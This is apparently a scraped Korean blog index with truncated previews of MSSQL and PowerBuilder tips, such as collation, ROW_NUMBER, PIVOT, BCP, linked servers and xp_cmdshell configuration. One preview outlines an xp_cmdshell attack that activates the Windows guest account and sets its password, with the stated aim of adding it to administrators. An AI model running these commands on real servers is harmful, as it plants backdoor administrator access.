dddw 셋팅시 유의사항 dddw가 한줄도 조회하지 못할 경우 아규먼트를 입력하라는 팝업이 뜨는 경우를 볼 수 있다. 이럴때는 dddw를 조회 후 리턴값을 확인하여 조회된 데이터가 없을 경우 insertrow(0)를 해주면 아규먼트를 입력하라는 팝업창이 뜨질 않는다. 아래 예를 참고하자. ================================================================dw_master.GetChild('income_gb',ldwc_dddw1)ldwc_dddw1.SetTransObject(SQLCA) ldwc_dddw1.reset() ll_rcnt = ldwc_dddw1.retrieve('125') if ll_rcnt = 0 then ldwc_dddw1.insertrow(..
데이터정렬 ?? 쿼리 작성중에 바로 아래와 같은 데이터의 정렬로 인해 고민한 적이 있었다. 가나다(ㄱ)가나다(A)가나다(B)기본적으로 데이터정렬을 한다고 머리속에서 생각을 해보자면, 1. 가나다(A)2. 가나다(B)3. 가나다(ㄱ)이라고 정리가 되어진다. 영문 먼저 그리고 한글이 나온다.하지만, MSSQL 쿼리분석기로 데이타를 정렬(order by) 해보면,아래와 같이 예상외로 데이터정렬이 되는것을 확인 할 수 있다. 1.가나다(ㄱ)2.가나다(A)3.가나다(B)한글 먼저 그리고 영문이 나온다.이유는 바로 데이타베이스의 기본 데이터정렬 속성이 Korean_Wansung_CI_AS 이기 때문이다.그렇다면, 쿼리시 영문 먼저 나오고 한글이 나오도록 할 수 있는 방법이 없을까?이번 포스팅에서는 강제적으로 데..
varchar와 nvarchar 차이 일반적으로 varchar 는 가변 문자열 nvarchar 는 가변 유니코드 문자열입니다. 프로그램 개발시 다국어지원(중국 간체)을 사용해야할 경우가 있다면, nvarchar을 사용해야 합니다. 이 둘을 나누는 중요한 차이는 바로 문자를 저장하는 바이트의 크기인데요. varchar는 영문이나 숫자등은 1바이트, 한글이나 중국 간체 등은 2바이트로 저장을 합니다. 반면, nvarchar는 모든 문자를 2바이트로 저장합니다. 이번 포스팅에서는 varchar와 nvarchar 에 저장되는 문자의 차이를 테스트를 해 볼 생각입니다. 도움이 되셨다면 추천을~~^^ 테스트 아래와 같이 테스트를 해보면 쉽게 varchar와 nvarchar의 차이를 알 수 있다. 가변문자열[varc..
Mssql 서버 메모리 관리 업체 DB서버 중 한 군데가 접속이 되어있다가 종료가 되거나, 아예 접속이 되질 않는 등.. 간헐적으로 네트웍 오류와 같은 접속 장애가 발생을 한적이 있었다. 대체 무엇이 문제인지,, 갈피도 못잡고 있었다. DB서버 셋팅이 잘 못 되었는지.. 네트웍에 문제가 있어서 접속 장애가 생기는 것인지.. 해결방법을 찾아보던 중 의외로 간단한 문제로 이런일이 발생한다는 것을 알게 되었다. 바로, Mssql 메모리 설정이었다. 문제가 있었던 서버의 물리적 메모리가 12GB 였는데, 작업관리자로 메모리 사용량을 확인해봤더니 11.6GB 였던것이다. 그래서, 서버에 과부하가 걸려 DB서버가 정상적으로 돌아가지 않았다는 것이 문제의 핵심 원인이었다. Mssql은 처음 설치시 물리적 메모리 사용..
Dbcc Inputbuffer RPC Event 또는 Language Event를 사용할 수 있습니다. 마지막 이벤트가 감지되지 않으면 No Event가 출력됩니다. 매개 변수 smallint 0 = 텍스트 1- n = 매개 변수 EventInfo nvarchar(4000) RPC의 EventType의 경우 EventInfo에 프로시저 이름만 포함됩니다. EventType이 Language인 경우 이벤트의 첫 4000자만 표시됩니다. 구문 DBCC INPUTBUFFER ( session_id [ , request_id ]) [WITH NO_INFOMSGS ] session_id 각 기본 활성 연결과 연관된 세션 ID입니다. request_id 현재 세션 내에서 검색할 정확한 요청(일괄 처리)입니다. 다음..
Select 한 데이타에 순번 채번이 필요한 경우 별별 방법을 다 사용해 보았습니다. 임시테이블에 밀어 넣어서 Identify로 순번을 매기던가, loop돌면서 update 로 채번을 하던가... 참 번거로웠는데, 이런 기능이 DBMS에 숨어있었는지는 몰랐어요. ROW_NUMBER() 나를 날 코딩해서 해방시켜줌 이 기능 잘 익혀두었다가 써먹어보세요~^^* -- PARTITION BY -> 그룹 설정 -- ORDER BY -> 순번 매기는 순서 사용법 ROW_NUMBER() OVER(PARTITION BY b.machinecd, b.adate ORDER BY b.machinecd,sum(b.losstime) DESC) 순번만 채번 할 경우 SELECT ROW_NUMBER() OVER(ORDER BY co..
날짜 형변환 select convert(varchar, getdate() ,100), convert(varchar, getdate() ,101), convert(varchar, getdate() ,102), convert(varchar, getdate() ,103), convert(varchar, getdate() ,104), convert(varchar, getdate() ,105), convert(varchar, getdate() ,106), convert(varchar, getdate() ,107), convert(varchar, getdate() ,108), convert(varchar, getdate() ,109), convert(varchar, getdate() ,110), convert(va..
ABS ABS함수는 절대값을 나타낸다.형식: ABS(숫자값) POWER POWER함수는 제곱근을 표현해 준다. 형식: POWER(숫자값, 승수값) SQRT SQRT는 루트값을 표현해준다. 형식: SQRT(숫자값) RAND RAND는 0 에서 1사이의 난수를 발생시킨다. 형식: RAND(초기값) ROUND ROUND는 반올림 함수이다. 형식: ROUND(숫자, 자릿수) ROUND는 자릿수만 조심하면 된다. 2번째 결과는 8을 반올림하여 그 앞의 9에 1이 더해진것이고 3번째 결과는 9가 반올림된것이다. CEILING, FLOOR CEILING은 소수점 첫번째 값을 기준으로 올림을 하고 FLOOR는 소수점 첫번째 값을 기준으로 내림을 한다. 형식: CEILING(숫자) ... FLOOR도 동일 CEILING..
Linkedserver 생성 쿼리 이 경우도 '새 연결된 서버 마법사'를 사용해도 되지만, 마법사를 사용할 수 없을 경우 사용할 수 있습니다. Exec sp_addlinkedserver @server = '링크서버명칭', @srvproduct = 'SQLOLEDB', @provider = 'SQLOLEDB', @datasrc = 'SQL서버IP + 포트', @provstr='Provider=SQLOLEDB;Data Source=SQL서버IP + 포트;Initial Catalog=데이타베이스명칭;User id=계정; Password=패스워드;', @location = null, @catalog = '' Ex) Exec sp_addlinkedserver @server = 'linked_svr' @srvpro..
쿼리분석기로 명령프롬프트를 사용하는 방법으로 'xp_cmdshell' 을 많이 사용합니다. 그런데, 이 함수는 보안상에 위험요소가 많아서, 최근 MicroSoft에서는 이 기능을 기본적으로 막아 놓고 있습니다. 그래도 사용을 하고자 한다면, 활성화 시켜야겠죠. 활성화 -- To allow advanced options to be changed. EXEC sp_configure 'show advanced options', 1 GO -- To update the currently configured value for advanced options. RECONFIGURE GO -- To enable the feature. EXEC sp_configure 'xp_cmdshell', 1 GO -- To updat..
xp_cmdshell 이용한 서버 해킹 방법 MsSql의 보안에 가장 큰 문제가 바로 xp_cmdshell을 이용한 injection 해킹입니다. 아래 예는 injection 해킹을 통해 데이타베이스 접속 권한을 가지고 있는 계정의 암호를 알아내었다는, 가정하에 일어 날수 있는 서버 해킹의 방법을 기술한 것입니다.순서는 서버상의 guest 계정을 활성화 시키고, 암호를 등록 시킨후administrators 그룹에 포함시켜 권한을 관리자와 동등하게 만들어주는 시나리오입니다. 1. xp_cmdshell을 이용한 guest계정 활성 EXEC xp_cmdshell 'net user guest /active:yes' 2. guest 계정 암호 변경 EXEC xp_cmdshell 'net user guest tes..
ISO 8601 (Calendar) 함수 ISO 8601 표준 주차 구하는 함수를 만들어보았습니다. select * from ufn_week_iso('2009') 실행하시면, 2009년도 주차가 범위별로 조회가 되어집니다. /****** Object: UserDefinedFunction [dbo].[ufn_week_seo] Script Date: 09/20/2011 16:14:21 ******/ SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO -- ============================================= -- Author: 서공석 -- Create date: 2011.09.20 -- Description: 달력 주차 기준 ISO 8601 (..
xp_cmdshell stored procedure 해제방법 1) sp_dropextendedproc 사용 USE MASTER IF OBJECT_ID('[dbo].[xp_cmdshell]') IS NOT NULL BEGIN EXEC sp_dropextendedproc 'xp_cmdshell' END 2) sp_configure 사용 EXEC sp_configure 'show advanced options',1 EXEC sp_configure'xp_cmdshell', 0 RECONFIGURE xp_cmdshell stored procedure 완전히 삭제 방법 xplog70.dll 삭제 (Path : c:\Program Files\Microsoft SQL Server\MSSQL\Binn) xplog70.d..
MSSQL PIVOT, UNPIVOT 예제 pivot기능과 unpivot 기능을 모르면 쿼리 작성시 노가다성 쿼리를 많이들 짜게 되는데요. (case문을 이용한 방법이나, 커서를 돌리는 방법) 아래와같이 PIVOT, UNPIVOT 기능을 숙지하고 있으면 많이 편해지겠죠?? ㅎㅎ // 예제 테이블을 만듭니다. CREATE TABLE Sales ( CityID int, MonthName char(3) CONSTRAINT Sales_MonthName_Inlist CHECK (MonthName IN ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), Amount decimal(20,2), CONSTRAINT ..
Alter Table 명령어 자꾸 자꾸 까먹어 버리는 alter 명령어 또 생각이 안나.... 프로그래머님들은 저와 같은 생각 많이 하실겁니다. 쿼리창에 테이블 변경 하려고 alter 명령어를 쓰려고 하는 찰나... 생각나지 않는 alter명령어 ㅎㅎ 그래서 이렇게 적어봅니다.~ 구분 명령어 테이블 컬럼 추가 ALter Table 테이블명 Add Createt_Col nvarchar(100) Default Null 테이블 컬럼 삭제 ALter Table 테이블명 Drop Column Createt_Col 제약조건 삭제 ALter Table 테이블명 Drop Constraint 제약조건명 컬럼형식 변경 ALter Table 테이블명 Alter Createt_Col numeric(18,5) Default N..
BCP유틸리티 데이타베이스 데이타를 txt파일로 다운받는 방법에 대해 소개 합니다. 물론, 여러 방법이 있지만, BCP를 사용하게 되면 속도도 빠르고...음.. 속도도 빠르고... 속도도 빠릅니다. ㅎㅎ 여러 옵션이 있지만, 여기서는 TXT로 다운 받는 방법만 기술합니다. --------------------------------------------------------------------------------------- 아래와 같이 명령프롬프트에서 실행하면, 바탕화면에 Select 한 데이타가 [TEST.TXT] 로 다운이 되어진답니다. Bcp "select * from 데이타베이스명.dbo.테이블" queryout "C:\Users\Administrator\Desktop\TEST.TXT" -c ..
MDF파일 연결하기 데이타베이스 '연결마법사'를 사용하지 못할 경우 쿼리로 연결하는 방법입니다. 참~ 쉽죠~잉~~! ------------------------------------------------------- sp_attach_single_file_db '데이타베이스명' , 'MDF파일 경로' ex) sp_attach_single_file_db 'ERP' , 'D:\ERP.MDF' ------------------------------------------------------- 아~! 위에 방법은 반드시 LDF 파일도 있어야 합니다.^^
"yyyymmddhh24mmss" 형식 변환 가끔 쿼리 작성 중 헤메는 경우가 있다. 예를 들자면, 'yyyymmddhh24mmss' 형식의 date값 '20120824163341'을 datetime 형식으로 변경 하고자 할 경우. 이럴 경우 년월일과 시분초를 나누어서 변환 작업을 해주어야 한다. 그리고 시분초는 ':' 로 구분해주어야 하며, 중간에 반드시 공백이 들어가야 한다. 아래 예제 참조~~ convert(varchar,'20120824',112)+' '+convert(varchar(),'16:33:41')
이 자료들은 팁스소프트에서 제공하는 [ 알짜배기 ] 프로그램을 이용하면 더 편리하게 볼수 있습니다. * 알짜배기 프로그램 받기 - http://www.tipssoft.com/bulletin/tb.php/QnA/8406 * 관리자의 Tipssoft 이야기를 들어보세요 ( 트위터 ID : tipssoft ) * 안드로이드 강좌 목록 - http://www.tipssoft.com/bulletin/tb.php/old_bbs/501 * 이 예제는 안드로이드 팜으로 만들어졌습니다. ( AndroidFarm - http://www.tipssoft.com/bulletin/tb.php/update/1388 ) 이 예제는 사용자가 시간을 알고 싶을 때 '몇시야?' 라고 말하면 어플리케이션이 현재 시각을 알려줍니다. 아침에..
- Total
- Today
- Yesterday
- 울산 예쁜 카페
- 파워빌더
- 트리거
- 운정신도시
- MSsql
- trigger
- 간절곶 맛집
- 울산 추천 카페
- PowerBuilder
- 울산 맛집
- 대구 카페 추천
- 센서
- 리스트뷰
- 티스토리초대장
- 티스토리 초대
- 장현 카페
- 울산 카페
- 맛집
- 우리동네 카페
- 태그를 입력해 주세요.
- 울산 카페 추천
- 장현동 카페
- 삼척 추천여행지
- 안드로이드 강좌
- 울산 중구 카페
- 초대장
- 안드로이드
- 삼척 추천 여행지
- 티스토리 초대장
- 울산 북구 맛집
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |